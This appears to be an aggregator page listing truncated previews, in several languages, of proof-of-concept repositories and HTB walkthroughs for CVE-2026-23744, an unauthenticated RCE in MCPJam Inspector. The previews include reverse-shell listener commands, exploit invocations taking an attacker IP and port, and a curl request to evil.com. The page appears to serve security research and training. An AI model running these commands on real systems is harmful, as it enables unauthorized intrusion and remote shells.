CVE-2025-49596-PoC

CVE-2026-23744-PoC Automatisierter PoC für CVE-2026-23744 RCE auf MCPJam Inspector vor Version 1.4.2 auf Linux-Zielen Verwendung root@kitploit: Verwende netcat, um einen Listener auf einem beliebigen Port wie 9002 zu starten. nc -nvlp 9002 Verwende die Automatisierung wie folgt python3...

MCPJam-Inspector-1.4.2-Remote-Code-Execution-CVE-2026-23744

su kali linux - terminale 1 nc -lvnp 4444 su kali linux - terminale 2 python3 ./CVE-2026-23744.py -t http://TARGET.com -p 4444 -i YOUR-KALI-LINUX-IP...

CVE-2026-23744

CVE-2026-23744 MCPJam inspector Remote-Code-Execution: utilizzo del Proof of Concept POC: root@kitploit: python3 cve-2026-23744.py --target https:// --att-ip --att-p...

CVE-2026-23744

CVE-2026-23744: PoC di Esecuzione Remota di Codice non Autenticata DICHIARAZIONE DI NON RESPONSABILITÀ: Questo repository e gli script associati sono destinati esclusivamente a valutazioni di sicurezza autorizzate, test di penetrazione, ricerca sulla sicurezza e analisi didattiche. Il test non...

CVE-2026-23744-MCPJam-Exploit

CVE-2026-23744 MCPJam Inspector RCE Exploit ⚠️ AVVISO Questo strumento è destinato ESCLUSIVAMENTE a test di sicurezza autorizzati e scopi educativi. L'uso non autorizzato è illegale. Gli utenti si assumono ogni responsabilità per le loro azioni. 📋 Panoramica Questo repository contiene un...

CVE-2026-23744-PoC

Descrizione MCPJam inspector è la piattaforma di sviluppo local-first per server MCP. Le versioni 1.4.2 e precedenti sono vulnerabili a una vulnerabilità di esecuzione di codice in remoto RCE, che consente a un attaccante di inviare una richiesta HTTP appositamente predisposta che attiva...

CVE-2026-23744

CVE-2026-23744 CVE-2026-23744 RCE Durante l'analisi di questa vulnerabilità, ho scoperto che MCPJam Inspector esponeva l'endpoint /api/mcp/connect alla rete associandosi a 0.0.0.0. Questo endpoint accetta un oggetto JSON contenente serverConfig, inclusi i campi command e args. L'applicazione avev...

CVE-2026-23744

CVE-2026-23744 الوصف MCPJam inspector هي منصة تطوير محلية أولاً لخوادم MCP. الإصدارات =1.4.2 معرّضة لثغرة تنفيذ التعليمات البرمجية عن بُعد RCE، والتي تسمح للمهاجم بإرسال طلب HTTP مُصمَّم خصيصًا يؤدي إلى تثبيت خادم MCP، مما يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد RCE. للحصول على تفاصيل حول الثغر...

mcpjam-cve-2026-23744-validator

MCPJam Inspector Autorisierter Sicherheits-Validator Ein begrenzter Proof-of-Concept-Validator für CVE-2026-23744 , der betroffene MCPJam Inspector-Bereitstellungen betrifft. Dieses Projekt ist ein unabhängiges, nicht-destruktives Validierungswerkzeug für die zuvor offengelegte CVE-2026-23744. Es...

CVE-2026-23744-PoC

CVE-2026-23744-PoC Aviso legal: Este proof-of-concept é fornecido exclusivamente para investigação de segurança autorizada, fins educativos e ambientes de laboratório controlados por exemplo, HTB, CTF, ou testes de penetração internos com consentimento escrito explícito. A utilização não autoriza...

MCPJam Inspector - Remote Code Execution

MCPJam inspector is the local-first development platform for MCP servers. The Latest version 1.4.2 and earlier are vulnerable to a remote code execution RCE vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. id:...

mcpExec

mcpExec é uma ferramenta que aproveita o CVE-2026-23744 para obter uma reverse shell usando a URL da instalação vulnerável do MCPJam Inspector. Instalação root@kitploit: git clone https://github.com/daemoncibsec/mcpExec.git cd mcpExec python3 -m venv venv source venv/bin/activate pip install rich...

CVE-2026-23744-PoC

CVE-2026-23744-PoC PoC sulla vulnerabilità in MCP Server. Automatizzato per la parte POST con il corpo corretto. percorso vulnerabile: root@kitploit: /api/mcp/connect metodo tramite curl: root@kitploit: curl http://evil.com:6274/api/mcp/connect --header "Content-Type: application/json" --data...

cve-2026-23744

CVE-2026-23744 – MCPJam Inspector Execução Remota de Código RCE Não Autenticada Descrição Produto : MCPJam Inspector Versões afetadas : ≤ 1.4.2 Versão corrigida : 1.4.3 Tipo : Execução Remota de Código RCE Não Autenticada Vetor de ataque : Rede Autenticação necessária : Não Interação do usuário...

CVE-2026-23744-RCE

MCPJam Inspector v1.4.2 - Exploit RCE Descrizione della vulnerabilità MCPJam Inspector contiene una vulnerabilità di Esecuzione Remota di Codice RCE non autenticata nell'endpoint /api/mcp/connect. La vulnerabilità consente agli aggressori di eseguire comandi arbitrari inviando un payload di...

CVE-2026-23744-RCE-for-MCPjam-inspector-v1.4.2

CVE-2026-23744-RCE-für-MCPjam-inspector-v1.4.2 Eine kritische RCE-Schwachstelle in MCPJam Inspector 3. Den Exploit starten root@kitploit: python3 CVE-2026-23744.py -u -i -p 4. Für eine bessere Nutzung empfehle ich, das Terminal auf ein voll funktionsfähiges zu aktualisieren, da sonst Befehle wie...

mcpjam-to-root

⚠️ Avvertenza Questo repository è destinato esclusivamente a ricerca sulla sicurezza autorizzata, test di penetrazione e scopi didattici. Non utilizzare le tecniche qui descritte contro sistemi senza autorizzazione esplicita. ⚡ MCPJam → Root Dalla RCE di MCPJam Inspector a root — CVE-2026-23744,...

DevHub-HTB-Walkthrough

DevHub – HTB Walkthrough Medium Linux Macchina: DevHub Difficoltà: Medium OS: Linux Argomenti: CVE-2026-23744, Tunneling con Chisel, Jupyter, Flask API, Escalation dei privilegi di root 📌 1. Ricognizione root@kitploit: nmap -sC -sV devhub.htb Risultato: root@kitploit: Porta 22 SSH Porta 80 HTTP...

CVE-2026-23744-POC

CVE-2026-23744 — MCPJam Inspector Unauthentifizierter RCE MCPJam Inspector = 1.4.2 bindet standardmäßig an 0.0.0.0 und gibt /api/mcp/connect ohne Authentifizierung frei. Der Endpunkt akzeptiert ein serverConfig-Objekt, das direkt einen Prozess auf dem Host startet – die Übergabe eines...

HTB-DevHub

HackTheBox — DevHub CVE-2026-23744 | MCPJam Inspector Unauthenticated RCE Schwierigkeit: Mittel Betriebssystem: Linux Angriffskette root@kitploit: ┌─────────────────────────────────────────────────────┐ │ CVE-2026-23744 │ │ Unauthenticated POST → /api/mcp/connect │...